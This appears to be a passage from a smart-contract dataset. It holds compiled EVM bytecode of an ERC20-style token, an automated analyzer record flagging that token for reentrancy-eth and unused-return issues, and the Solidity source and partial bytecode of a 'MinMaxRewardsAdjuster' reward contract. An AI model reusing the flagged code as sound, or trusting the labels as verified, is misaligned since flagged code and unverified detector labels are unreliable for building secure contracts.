60405180910390fd5b600081116116ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a4906131e2565b60405180910390fd5b6000600a81905550600a600b819055506116c5610c38565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117335750611703610c38565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c0d57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117dc5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6117e557600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118905750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118e65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118fe5750600e60179054906101000a900460ff165b15611a3c57600f54811115611948576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193f9061324e565b60405180910390fd5b60105481611955846109dd565b61195f919061326e565b11156119a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199790613310565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119eb57600080fd5b601e426119f8919061326e565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611ae75750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b3d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b53576000600a81905550600c600b819055505b6000611b5e306109dd565b9050600e60159054906101000a900460ff16158015611bcb5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611be35750600e60169054906101000a900460ff165b15611c0b57611bf181611e20565b60004790506000811115611c0957611c0847611d46565b5b505b505b611c18838383612099565b505050565b6000838311158290611c65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c5c9190612723565b60405180910390fd5b5060008385611c749190613330565b9050809150509392505050565b600080831415611c945760009050611cf6565b60008284611ca29190613364565b9050828482611cb191906133ed565b14611cf1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce890613490565b60405180910390fd5b809150505b92915050565b6000611d3e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120a9565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611dae573d6000803e3d6000fd5b5050565b6000600854821115611df9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df090613522565b60405180910390fd5b6000611e0361210c565b9050611e188184611cfc90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5857611e57612892565b5b604051908082528060200260200182016040528015611e865781602001602082028036833780820191505090505b5090503081600081518110611e9e57611e9d612c31565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f45573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f699190612d59565b81600181518110611f7d57611f7c612c31565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fe430600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113bf565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612048959493929190613600565b600060405180830381600087803b15801561206257600080fd5b505af1158015612076573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6120a4838383612137565b505050565b600080831182906120f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e79190612723565b60405180910390fd5b50600083856120ff91906133ed565b9050809150509392505050565b6000806000612119612302565b915091506121308183611cfc90919063ffffffff16565b9250505090565b60008060008060008061214987612364565b9550955095509550955095506121a786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123cc90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061223c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228881612474565b6122928483612531565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122ef9190612872565b60405180910390a3505050505050505050565b60008060006008549050600068056bc75e2d63100000905061233868056bc75e2d63100000600854611cfc90919063ffffffff16565b8210156123575760085468056bc75e2d63100000935093505050612360565b81819350935050505b9091565b60008060008060008060008060006123818a600a54600b5461256b565b925092509250600061239161210c565b905060008060006123a48e878787612601565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061240e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c1d565b905092915050565b6000808284612425919061326e565b90508381101561246a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612461906136a6565b60405180910390fd5b8091505092915050565b600061247e61210c565b905060006124958284611c8190919063ffffffff16565b90506124e981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612546826008546123cc90919063ffffffff16565b6008819055506125618160095461241690919063ffffffff16565b6009819055505050565b6000806000806125976064612589888a611c8190919063ffffffff16565b611cfc90919063ffffffff16565b905060006125c160646125b3888b611c8190919063ffffffff16565b611cfc90919063ffffffff16565b905060006125ea826125dc858c6123cc90919063ffffffff16565b6123cc90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061261a8589611c8190919063ffffffff16565b905060006126318689611c8190919063ffffffff16565b905060006126488789611c8190919063ffffffff16565b905060006126718261266385876123cc90919063ffffffff16565b6123cc90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156126c45780820151818401526020810190506126a9565b838111156126d3576000848401525b50505050565b6000601f19601f8301169050919050565b60006126f58261268a565b6126ff8185612695565b935061270f8185602086016126a6565b612718816126d9565b840191505092915050565b6000602082019050818103600083015261273d81846126ea565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061278482612759565b9050919050565b61279481612779565b811461279f57600080fd5b50565b6000813590506127b18161278b565b92915050565b6000819050919050565b6127ca816127b7565b81146127d557600080fd5b50565b6000813590506127e7816127c1565b92915050565b600080604083850312156128045761280361274f565b5b6000612812858286016127a2565b9250506020612823858286016127d8565b9150509250929050565b60008115159050919050565b6128428161282d565b82525050565b600060208201905061285d6000830184612839565b92915050565b61286c816127b7565b82525050565b60006020820190506128876000830184612863565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128ca826126d9565b810181811067ffffffffffffffff821117156128e9576128e8612892565b5b80604052505050565b60006128fc612745565b905061290882826128c1565b919050565b600067ffffffffffffffff82111561292857612927612892565b5b602082029050602081019050919050565b600080fd5b600061295161294c8461290d565b6128f2565b9050808382526020820190506020840283018581111561297457612973612939565b5b835b8181101561299d578061298988826127a2565b845260208401935050602081019050612976565b5050509392505050565b600082601f8301126129bc576129bb61288d565b5b81356129cc84826020860161293e565b91505092915050565b6000602082840312156129eb576129ea61274f565b5b600082013567ffffffffffffffff811115612a0957612a08612754565b5b612a15848285016129a7565b91505092915050565b600080600060608486031215612a3757612a3661274f565b5b6000612a45868287016127a2565b9350506020612a56868287016127a2565b9250506040612a67868287016127d8565b9150509250925092565b600060208284031215612a8757612a8661274f565b5b6000612a95848285016127a2565b91505092915050565b600060ff82169050919050565b612ab481612a9e565b82525050565b6000602082019050612acf6000830184612aab565b92915050565b612ade8161282d565b8114612ae957600080fd5b50565b600081359050612afb81612ad5565b92915050565b600060208284031215612b1757612b1661274f565b5b6000612b2584828501612aec565b91505092915050565b600060208284031215612b4457612b4361274f565b5b6000612b52848285016127d8565b91505092915050565b612b6481612779565b82525050565b6000602082019050612b7f6000830184612b5b565b92915050565b60008060408385031215612b9c57612b9b61274f565b5b6000612baa858286016127a2565b9250506020612bbb858286016127a2565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612bfb602083612695565b9150612c0682612bc5565b602082019050919050565b60006020820190508181036000830152612c2a81612bee565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c9a826127b7565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612ccd57612ccc612c60565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d0e601783612695565b9150612d1982612cd8565b602082019050919050565b60006020820190508181036000830152612d3d81612d01565b9050919050565b600081519050612d538161278b565b92915050565b600060208284031215612d6f57612d6e61274f565b5b6000612d7d84828501612d44565b91505092915050565b6000604082019050612d9b6000830185612b5b565b612da86020830184612b5b565b9392505050565b6000819050919050565b6000819050919050565b6000612dde612dd9612dd484612daf565b612db9565b6127b7565b9050919050565b612dee81612dc3565b82525050565b600060c082019050612e096000830189612b5b565b612e166020830188612863565b612e236040830187612de5565b612e306060830186612de5565b612e3d6080830185612b5b565b612e4a60a0830184612863565b979650505050505050565b600081519050612e64816127c1565b92915050565b600080600060608486031215612e8357612e8261274f565b5b6000612e9186828701612e55565b9350506020612ea286828701612e55565b9250506040612eb386828701612e55565b9150509250925092565b6000604082019050612ed26000830185612b5b565b612edf6020830184612863565b9392505050565b600081519050612ef581612ad5565b92915050565b600060208284031215612f1157612f1061274f565b5b6000612f1f84828501612ee6565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f84602483612695565b9150612f8f82612f28565b604082019050919050565b60006020820190508181036000830152612fb381612f77565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613016602283612695565b915061302182612fba565b604082019050919050565b6000602082019050818103600083015261304581613009565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130a8602583612695565b91506130b38261304c565b604082019050919050565b600060208201905081810360008301526130d78161309b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061313a602383612695565b9150613145826130de565b604082019050919050565b600060208201905081810360008301526131698161312d565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131cc602983612695565b91506131d782613170565b604082019050919050565b600060208201905081810360008301526131fb816131bf565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000613238601983612695565b915061324382613202565b602082019050919050565b600060208201905081810360008301526132678161322b565b9050919050565b6000613279826127b7565b9150613284836127b7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132b9576132b8612c60565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006132fa601a83612695565b9150613305826132c4565b602082019050919050565b60006020820190508181036000830152613329816132ed565b9050919050565b600061333b826127b7565b9150613346836127b7565b92508282101561335957613358612c60565b5b828203905092915050565b600061336f826127b7565b915061337a836127b7565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133b3576133b2612c60565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133f8826127b7565b9150613403836127b7565b925082613413576134126133be565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061347a602183612695565b91506134858261341e565b604082019050919050565b600060208201905081810360008301526134a98161346d565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600061350c602a83612695565b9150613517826134b0565b604082019050919050565b6000602082019050818103600083015261353b816134ff565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61357781612779565b82525050565b6000613589838361356e565b60208301905092915050565b6000602082019050919050565b60006135ad82613542565b6135b7818561354d565b93506135c28361355e565b8060005b838110156135f35781516135da888261357d565b97506135e583613595565b9250506001810190506135c6565b5085935050505092915050565b600060a0820190506136156000830188612863565b6136226020830187612de5565b818103604083015261363481866135a2565b90506136436060830185612b5b565b6136506080830184612863565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613690601b83612695565b915061369b8261365a565b602082019050919050565b600060208201905081810360008301526136bf81613683565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cba588d9aaec2a1444ee7e107e4e176f901c264b107766bfebc59640623683ab64736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,179 |
0xbe0d9016714c64a877ed28fd3f3c7c8ff513d807
|
pragma solidity 0.6.7;
abstract contract StabilityFeeTreasuryLike {
function getAllowance(address) virtual public view returns (uint256, uint256);
function setPerBlockAllowance(address, uint256) virtual external;
}
abstract contract TreasuryFundableLike {
function authorizedAccounts(address) virtual public view returns (uint256);
function baseUpdateCallerReward() virtual public view returns (uint256);
function maxUpdateCallerReward() virtual public view returns (uint256);
function modifyParameters(bytes32, uint256) virtual external;
}
abstract contract TreasuryParamAdjusterLike {
function adjustMaxReward(address receiver, bytes4 targetFunctionSignature, uint256 newMaxReward) virtual external;
}
abstract contract OracleLike {
function read() virtual external view returns (uint256);
}
abstract contract OracleRelayerLike {
function redemptionPrice() virtual public returns (uint256);
}
contract MinMaxRewardsAdjuster {
// --- Auth ---
mapping (address => uint) public authorizedAccounts;
/**
* @notice Add auth to an account
* @param account Account to add auth to
*/
function addAuthorization(address account) external isAuthorized {
authorizedAccounts[account] = 1;
emit AddAuthorization(account);
}
/**
* @notice Remove auth from an account
* @param account Account to remove auth from
*/
function removeAuthorization(address account) external isAuthorized {
authorizedAccounts[account] = 0;
emit RemoveAuthorization(account);
}
/**
* @notice Checks whether msg.sender can call an authed function
**/
modifier isAuthorized {
require(authorizedAccounts[msg.sender] == 1, "MinMaxRewardsAdjuster/account-not-authorized");
_;
}
// --- Structs ---
struct FundingReceiver {
// Last timestamp when the funding receiver data was updated
uint256 lastUpdateTime; // [unix timestamp]
// Gas amount used to execute this funded function
uint256 gasAmountForExecution; // [gas amount]
// Delay between two calls to recompute the fees for this funded function
uint256 updateDelay; // [seconds]
// Multiplier applied to the computed base reward
uint256 baseRewardMultiplier; // [hundred]
// Multiplied applied to the computed max reward
uint256 maxRewardMultiplier; // [hundred]
}
// --- Variables ---
// Data about funding receivers
mapping(address => mapping(bytes4 => FundingReceiver)) public fundingReceivers;
// The gas price oracle
OracleLike public gasPriceOracle;
// The ETH oracle
OracleLike public ethPriceOracle;
// The contract that adjusts SF treasury parameters and needs to be updated with max rewards for each funding receiver
TreasuryParamAdjusterLike public treasuryParamAdjuster;
// The oracle relayer contract
OracleRelayerLike public oracleRelayer;
// The SF treasury contract
StabilityFeeTreasuryLike public treasury;
// --- Events ---
event AddAuthorization(address account);
event RemoveAuthorization(address account);
event ModifyParameters(bytes32 parameter, address addr);
event ModifyParameters(address receiver, bytes4 targetFunction, bytes32 parameter, uint256 val);
event AddFundingReceiver(
address indexed receiver,
bytes4 targetFunctionSignature,
uint256 updateDelay,
uint256 gasAmountForExecution,
uint256 baseRewardMultiplier,
uint256 maxRewardMultiplier
);
event RemoveFundingReceiver(address indexed receiver, bytes4 targetFunctionSignature);
event RecomputedRewards(address receiver, uint256 newBaseReward, uint256 newMaxReward);
constructor(
address oracleRelayer_,
address treasury_,
address gasPriceOracle_,
address ethPriceOracle_,
address treasuryParamAdjuster_
) public {
// Checks
require(oracleRelayer_ != address(0), "MinMaxRewardsAdjuster/null-oracle-relayer");
require(treasury_ != address(0), "MinMaxRewardsAdjuster/null-treasury");
require(gasPriceOracle_ != address(0), "MinMaxRewardsAdjuster/null-gas-oracle");
require(ethPriceOracle_ != address(0), "MinMaxRewardsAdjuster/null-eth-oracle");
require(treasuryParamAdjuster_ != address(0), "MinMaxRewardsAdjuster/null-treasury-adjuster");
authorizedAccounts[msg.sender] = 1;
// Store
oracleRelayer = OracleRelayerLike(oracleRelayer_);
treasury = StabilityFeeTreasuryLike(treasury_);
gasPriceOracle = OracleLike(gasPriceOracle_);
ethPriceOracle = OracleLike(ethPriceOracle_);
treasuryParamAdjuster = TreasuryParamAdjusterLike(treasuryParamAdjuster_);
// Check that the oracle relayer has a redemption price stored
oracleRelayer.redemptionPrice();
// Emit events
emit ModifyParameters("treasury", treasury_);
emit ModifyParameters("oracleRelayer", oracleRelayer_);
emit ModifyParameters("gasPriceOracle", gasPriceOracle_);
emit ModifyParameters("ethPriceOracle", ethPriceOracle_);
emit ModifyParameters("treasuryParamAdjuster", treasuryParamAdjuster_);
}
// --- Boolean Logic ---
function both(bool x, bool y) internal pure returns (bool z) {
assembly{ z := and(x, y)}
}
// --- Math ---
uint256 public constant WAD = 10**18;
uint256 public constant RAY = 10**27;
uint256 public constant HUNDRED = 100;
uint256 public constant THOUSAND = 1000;
function addition(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x, "MinMaxRewardsAdjuster/add-uint-uint-overflow");
}
function subtract(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x, "MinMaxRewardsAdjuster/sub-uint-uint-underflow");
}
function multiply(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x, "MinMaxRewardsAdjuster/multiply-uint-uint-overflow");
}
function divide(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y > 0, "MinMaxRewardsAdjuster/div-y-null");
z = x / y;
require(z <= x, "MinMaxRewardsAdjuster/div-invalid");
}
// --- Administration ---
/*
* @notify Update the address of a contract that this adjuster is connected to
* @param parameter The name of the contract to update the address for
* @param addr The new contract address
*/
function modifyParameters(bytes32 parameter, address addr) external isAuthorized {
require(addr != address(0), "MinMaxRewardsAdjuster/null-address");
if (parameter == "oracleRelayer") {
oracleRelayer = OracleRelayerLike(addr);
oracleRelayer.redemptionPrice();
}
else if (parameter == "treasury") {
treasury = StabilityFeeTreasuryLike(addr);
}
else if (parameter == "gasPriceOracle") {
gasPriceOracle = OracleLike(addr);
}
else if (parameter == "ethPriceOracle") {
ethPriceOracle = OracleLike(addr);
}
else if (parameter == "treasuryParamAdjuster") {
treasuryParamAdjuster = TreasuryParamAdjusterLike(addr);
}
else revert("MinMaxRewardsAdjuster/modify-unrecognized-params");
emit ModifyParameters(parameter, addr);
}
/*
* @notify Change a parameter for a funding receiver
* @param receiver The address of the funding receiver
* @param targetFunction The function whose callers receive funding for calling
* @param parameter The name of the parameter to change
* @param val The new parameter value
*/
function modifyParameters(address receiver, bytes4 targetFunction, bytes32 parameter, uint256 val) external isAuthorized {
require(val > 0, "MinMaxRewardsAdjuster/null-value");
FundingReceiver storage fundingReceiver = fundingReceivers[receiver][targetFunction];
require(fundingReceiver.lastUpdateTime > 0, "MinMaxRewardsAdjuster/non-existent-receiver");
if (parameter == "gasAmountForExecution") {
require(val < block.gaslimit, "MinMaxRewardsAdjuster/invalid-gas-amount-for-exec");
fundingReceiver.gasAmountForExecution = val;
}
else if (parameter == "updateDelay") {
fundingReceiver.updateDelay = val;
}
else if (parameter == "baseRewardMultiplier") {
require(both(val >= HUNDRED, val <= THOUSAND), "MinMaxRewardsAdjuster/invalid-base-reward-multiplier");
require(val <= fundingReceiver.maxRewardMultiplier, "MinMaxRewardsAdjuster/max-mul-smaller-than-min-mul");
fundingReceiver.baseRewardMultiplier = val;
}
else if (parameter == "maxRewardMultiplier") {
require(both(val >= HUNDRED, val <= THOUSAND), "MinMaxRewardsAdjuster/invalid-max-reward-multiplier");
require(val >= fundingReceiver.baseRewardMultiplier, "MinMaxRewardsAdjuster/max-mul-smaller-than-min-mul");
fundingReceiver.maxRewardMultiplier = val;
}
else revert("MinMaxRewardsAdjuster/modify-unrecognized-params");
emit ModifyParameters(receiver, targetFunction, parameter, val);
}
/*
* @notify Add a new funding receiver
* @param receiver The funding receiver address
* @param targetFunctionSignature The signature of the function whose callers get funding
* @param updateDelay The update delay between two consecutive calls that update the base and max rewards for this receiver
* @param gasAmountForExecution The gas amount spent calling the function with signature targetFunctionSignature
* @param baseRewardMultiplier Multiplier applied to the computed base reward
* @param maxRewardMultiplier Multiplied applied to the computed max reward
*/
function addFundingReceiver(
address receiver,
bytes4 targetFunctionSignature,
uint256 updateDelay,
uint256 gasAmountForExecution,
uint256 baseRewardMultiplier,
uint256 maxRewardMultiplier
) external isAuthorized {
// Checks
require(receiver != address(0), "MinMaxRewardsAdjuster/null-receiver");
require(updateDelay > 0, "MinMaxRewardsAdjuster/null-update-delay");
require(both(baseRewardMultiplier >= HUNDRED, baseRewardMultiplier <= THOUSAND), "MinMaxRewardsAdjuster/invalid-base-reward-multiplier");
require(both(maxRewardMultiplier >= HUNDRED, maxRewardMultiplier <= THOUSAND), "MinMaxRewardsAdjuster/invalid-max-reward-multiplier");
require(maxRewardMultiplier >= baseRewardMultiplier, "MinMaxRewardsAdjuster/max-mul-smaller-than-min-mul");
require(gasAmountForExecution > 0, "MinMaxRewardsAdjuster/null-gas-amount");
require(gasAmountForExecution < block.gaslimit, "MinMaxRewardsAdjuster/large-gas-amount-for-exec");
// Check that the receiver hasn't been already added
FundingReceiver storage newReceiver = fundingReceivers[receiver][targetFunctionSignature];
require(newReceiver.lastUpdateTime == 0, "MinMaxRewardsAdjuster/receiver-already-added");
// Add the receiver's data
newReceiver.lastUpdateTime = now;
newReceiver.updateDelay = updateDelay;
newReceiver.gasAmountForExecution = gasAmountForExecution;
newReceiver.baseRewardMultiplier = baseRewardMultiplier;
newReceiver.maxRewardMultiplier = maxRewardMultiplier;
emit AddFundingReceiver(
receiver,
targetFunctionSignature,
updateDelay,
gasAmountForExecution,
baseRewardMultiplier,
maxRewardMultiplier
);
}
/*
* @notify Remove an already added funding receiver
* @param receiver The funding receiver address
* @param targetFunctionSignature The signature of the function whose callers get funding
*/
function removeFundingReceiver(address receiver, bytes4 targetFunctionSignature) external isAuthorized {
// Check that the receiver is still stored and then delete it
require(fundingReceivers[receiver][targetFunctionSignature].lastUpdateTime > 0, "MinMaxRewardsAdjuster/non-existent-receiver");
delete(fundingReceivers[receiver][targetFunctionSignature]);
emit RemoveFundingReceiver(receiver, targetFunctionSignature);
}
// --- Core Logic ---
/*
* @notify Recompute the base and max rewards for a specific funding receiver with a specific function offering funding
* @param receiver The funding receiver address
* @param targetFunctionSignature The signature of the function whose callers get funding
*/
function recomputeRewards(address receiver, bytes4 targetFunctionSignature) external {
FundingReceiver storage targetReceiver = fundingReceivers[receiver][targetFunctionSignature];
require(both(targetReceiver.lastUpdateTime > 0, addition(targetReceiver.lastUpdateTime, targetReceiver.updateDelay) <= now), "MinMaxRewardsAdjuster/wait-more");
// Update last time
targetReceiver.lastUpdateTime = now;
// Read the gas and the ETH prices
uint256 gasPrice = gasPriceOracle.read();
uint256 ethPrice = ethPriceOracle.read();
// Calculate the base fiat value
uint256 baseRewardFiatValue = divide(multiply(multiply(gasPrice, targetReceiver.gasAmountForExecution), WAD), ethPrice);
// Calculate the base reward expressed in system coins
uint256 newBaseReward = divide(multiply(baseRewardFiatValue, RAY), oracleRelayer.redemptionPrice());
newBaseReward = divide(multiply(newBaseReward, targetReceiver.baseRewardMultiplier), HUNDRED);
// Compute the new max reward and check both rewards
uint256 newMaxReward = divide(multiply(newBaseReward, targetReceiver.maxRewardMultiplier), HUNDRED);
require(both(newBaseReward > 0, newMaxReward > 0), "MinMaxRewardsAdjuster/null-new-rewards");
// Notify the treasury param adjuster about the new max reward
treasuryParamAdjuster.adjustMaxReward(receiver, targetFunctionSignature, newMaxReward);
// Approve the max reward in the treasury
treasury.setPerBlockAllowance(receiver, multiply(newMaxReward, RAY));
// Set the new rewards inside the receiver contract
TreasuryFundableLike(receiver).modifyParameters("maxUpdateCallerReward", newMaxReward);
TreasuryFundableLike(receiver).modifyParameters("baseUpdateCallerReward", newBaseReward);
emit RecomputedRewards(receiver, newBaseReward, newMaxReward);
}
}
|
0x608060405234801561001057600080fd5b50600436106101165760003560e01c80636f6dc5ae116100a257806394f3f81d1161007157806394f3f81d146102c8578063ac0e47f5146102ee578063b5424a7f146102f6578063de32b67d14610344578063f85fc0ab1461038657610116565b80636f6dc5ae1461027a578063749288ba14610282578063851cad901461028a578063900dc6ff1461029257610116565b8063552033c4116100e9578063552033c41461020057806361d027b3146102085780636614f010146102105780636a1460241461023c5780636c64a3481461024457610116565b8063017a10fa1461011b57806324ba58841461017c57806335b28153146101b45780634faf61ab146101dc575b600080fd5b6101516004803603604081101561013157600080fd5b5080356001600160a01b031690602001356001600160e01b03191661038e565b6040805195865260208601949094528484019290925260608401526080830152519081900360a00190f35b6101a26004803603602081101561019257600080fd5b50356001600160a01b03166103c4565b60408051918252519081900360200190f35b6101da600480360360208110156101ca57600080fd5b50356001600160a01b03166103d6565b005b6101e4610476565b604080516001600160a01b039092168252519081900360200190f35b6101a2610485565b6101e4610495565b6101da6004803603604081101561022657600080fd5b50803590602001356001600160a01b03166104a4565b6101a2610742565b6101da6004803603604081101561025a57600080fd5b5080356001600160a01b031690602001356001600160e01b03191661074e565b6101e4610c87565b6101e4610c96565b6101a2610ca5565b6101da600480360360408110156102a857600080fd5b5080356001600160a01b031690602001356001600160e01b031916610cab565b6101da600480360360208110156102de57600080fd5b50356001600160a01b0316610de7565b6101e4610e86565b6101da600480360360c081101561030c57600080fd5b506001600160a01b03813516906001600160e01b03196020820135169060408101359060608101359060808101359060a00135610e95565b6101da6004803603608081101561035a57600080fd5b506001600160a01b03813516906001600160e01b031960208201351690604081013590606001356111b6565b6101a2611522565b60016020818152600093845260408085209091529183529120805491810154600282015460038301546004909301549192909185565b60006020819052908152604090205481565b336000908152602081905260409020546001146104245760405162461bcd60e51b815260040180806020018281038252602c8152602001806118d0602c913960400191505060405180910390fd5b6001600160a01b0381166000818152602081815260409182902060019055815192835290517f599a298163e1678bb1c676052a8930bf0b8a1261ed6e01b8a2391e55f70001029281900390910190a150565b6005546001600160a01b031681565b6b033b2e3c9fd0803ce800000081565b6006546001600160a01b031681565b336000908152602081905260409020546001146104f25760405162461bcd60e51b815260040180806020018281038252602c8152602001806118d0602c913960400191505060405180910390fd5b6001600160a01b0381166105375760405162461bcd60e51b81526004018080602001828103825260228152602001806116c56022913960400191505060405180910390fd5b816c37b930b1b632a932b630bcb2b960991b14156105df57600580546001600160a01b0319166001600160a01b03838116919091179182905560408051630316dd2360e61b81529051929091169163c5b748c0916004808201926020929091908290030181600087803b1580156105ad57600080fd5b505af11580156105c1573d6000803e3d6000fd5b505050506040513d60208110156105d757600080fd5b506106fb9050565b8167747265617375727960c01b141561061257600680546001600160a01b0319166001600160a01b0383161790556106fb565b816d67617350726963654f7261636c6560901b141561064b57600280546001600160a01b0319166001600160a01b0383161790556106fb565b816d65746850726963654f7261636c6560901b141561068457600380546001600160a01b0319166001600160a01b0383161790556106fb565b81743a3932b0b9bab93ca830b930b6a0b2353ab9ba32b960591b14156106c457600480546001600160a01b0319166001600160a01b0383161790556106fb565b60405162461bcd60e51b815260040180806020018281038252603081526020018061171a6030913960400191505060405180910390fd5b604080518381526001600160a01b038316602082015281517fd91f38cf03346b5dc15fb60f9076f866295231ad3c3841a1051f8443f25170d1929181900390910190a15050565b670de0b6b3a764000081565b6001600160a01b03821660009081526001602090815260408083206001600160e01b03198516845290915290208054600282015461079c9180151591429161079591611527565b111561156f565b6107ed576040805162461bcd60e51b815260206004820152601f60248201527f4d696e4d61785265776172647341646a75737465722f776169742d6d6f726500604482015290519081900360640190f